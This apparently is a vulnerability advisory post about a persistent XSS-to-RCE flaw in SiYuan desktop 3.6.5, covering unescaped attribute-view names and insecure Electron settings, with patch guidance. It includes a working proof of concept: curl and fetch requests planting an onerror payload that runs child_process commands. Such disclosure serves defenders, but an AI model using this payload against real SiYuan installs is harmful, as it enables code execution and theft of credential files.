Listen to this Post
How the CVE works (technical details):
The kernel stores Attribute View (AV) names without HTML escaping (kernel/model/attribute_view.go:3244-3255). A template (attrAvNameTpl) uses `strings.ReplaceAll(tpl, “${avName}”, nodeAvName)` – raw concatenation. Three client sinks consume the unescaped name: `render.ts:120` → outerHTML, `.ts:401` → innerHTML, and `transaction.ts:559` → innerHTML. The Electron main window runs nodeIntegration:true, contextIsolation:false, `webSecurity:false` (main.js:407-411), turning any XSS into Node.js RCE. The payload persists in data/storage/av/<id>.json, survives sync (S3/WebDAV), `.sy.zip` export/import, and triggers for any role (Admin, Editor, Reader). The API route `/api/transactions setAttrViewName` requires admin but default install grants Administrator to localhost and `chrome-extension://` origins (session.go:261-287). An attacker via malicious browser extension or local webpage can call `setAttrViewName` with an XSS payload (e.g., <img src=x onerror="require('child_process').exec('calc')">). When any victim opens the doc containing that AV, the unescaped name renders, executes the payload, spawning a calculator. Three independent code paths missed escaping while four sibling fields (bookmark, name, alias, memo) correctly use `Lute.EscapeHTMLStr` – only `av-names` was raw.
dailycve form:
Platform: SiYuan desktop
Version: 3.6.5
Vulnerability: Persistent XSS→RCE
Severity: Critical
date: 2026-05-03
Prediction: Patch 2026-05-17
What Undercode Say:
Verify vulnerable version
curl -s http://127.0.0.1:6806/api/system/version | grep "3.6.5"
Create malicious AV name (PoC)
AV_ID="20260503160000-aaaaaaa"
DOC_ID="20260503160000-bbbbbbb"
curl -X POST http://127.0.0.1:6806/api/transactions \
-H 'Content-Type: application/json' \
-d '{"session":"x","app":"siyuan","transactions":[{"doOperations":[{"action":"setAttrViewName","id":"'$AV_ID'","data":"<img src=x onerror=\"require(\"child_process\").exec(\"calc\")\">"}],"undoOperations":[]}]}'
Verify unescaped storage
python3 -c "import json; print(json.load(open('~/SiYuanWorkspace/data/storage/av/$AV_ID.json'))['name'])"
Exploit:
Attacker with `chrome-extension://` origin (any installed extension) calls `fetch(‘http://127.0.0.1:6806/api/transactions’, {method:’POST’,body:JSON.stringify({…})})` to plant payload. Victim opens infected doc → `` triggers `require(‘child_process’).exec(‘calc’)` → calc.exe / xcalc / open -a Calculator.
Protection from this CVE:
Upgrade to patched version (>3.6.5). If unavailable, edit kernel/model/attribute_view.go: wrap `${avName}` with template.HTMLEscapeString(). In transaction.ts:559, use Lute.EscapeHTMLStr(data.new["av-names"]). Set `contextIsolation: true` and preload bridge in Electron. Disable `nodeIntegration` on main window. Block `chrome-extension://` origins in session origin check.
Impact:
Remote code execution on victim’s desktop with user privileges. Persistent across sync, backups, exports. Full filesystem access (.ssh/, .aws/). Privilege escalation to cloud accounts. Any role (including read-only publish viewers) triggers RCE. Attack vectors: browser extensions, malicious .sy.zip, co-authors, sync peers.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

